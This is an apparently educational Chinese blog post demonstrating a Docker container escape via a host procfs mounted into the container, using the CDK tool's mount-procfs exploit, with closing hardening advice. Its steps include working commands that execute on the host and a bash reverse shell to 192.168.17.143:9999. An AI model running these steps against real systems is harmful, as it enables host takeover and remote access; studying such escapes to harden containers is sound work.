系统创建卷并挂载至容器(在容器中网络挂载)

基本概述

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件,因此将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时

容器逃逸

Step 1:在宿主机启动测试容器,挂载宿主机的procfs,尝试逃逸当前容器

docker run -v /home/ubuntu/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash

Step 2:容器内部执行以下命令

./cdk run mount-procfs /mnt/host_proc \\\"touch /tmp/exp-success\\\"

系统创建卷并挂载至容器(在容器中网络挂载)

Step 3:宿主机中出现/tmp/exp-success文件,说明EXP已经成功执行,攻击者可以在宿主机执行任意命令

./cdk run mount-procfs /mnt/host_proc \\\"echo \\\'/bin/bash -i >& /dev/tcp/192.168.17.143/9999 0>&1\\\' > /tmp/res.sh\\\"./cdk run mount-procfs /mnt/host_proc \\\"/bin/bash /tmp/res.sh\\\"

系统创建卷并挂载至容器(在容器中网络挂载)

Step 4:之后成功获取到物理主机的shell

文末小结

总的来说,Procfs挂载是一种常见的系统调优技术,它可以帮助用户监控和分析系统资源的使用情况。然而,如果不小心处理,将Procfs挂载到容器中可能会导致安全风险,使得攻击者能够通过访问/proc目录来获取敏感主机信息或者实施攻击。为了避免这种风险,我们需要注意以下几点:

1、在启动容器之前,确保没有把Procfs文件系统挂载到容器内部。 
2、对于需要访问/proc目录的容器,限制其对/proc目录的访问权限,只开放必要的信息
3、细化容器的权限设置,根据具体的应用场景来划分容器的权限范围,避免滥用特权。 
4、定期检查容器的配置和运行状态,及时发现和修复潜在的安全漏洞和风险。

综上所述,我们需要在使用Procfs挂载的同时,加强容器的安全管理,以确保容器环境下的安全性和稳定性。

原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34147.html

Like (0)
七芒星实验室的头像七芒星实验室
Previous 2024年4月21日
Next 2024年4月21日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注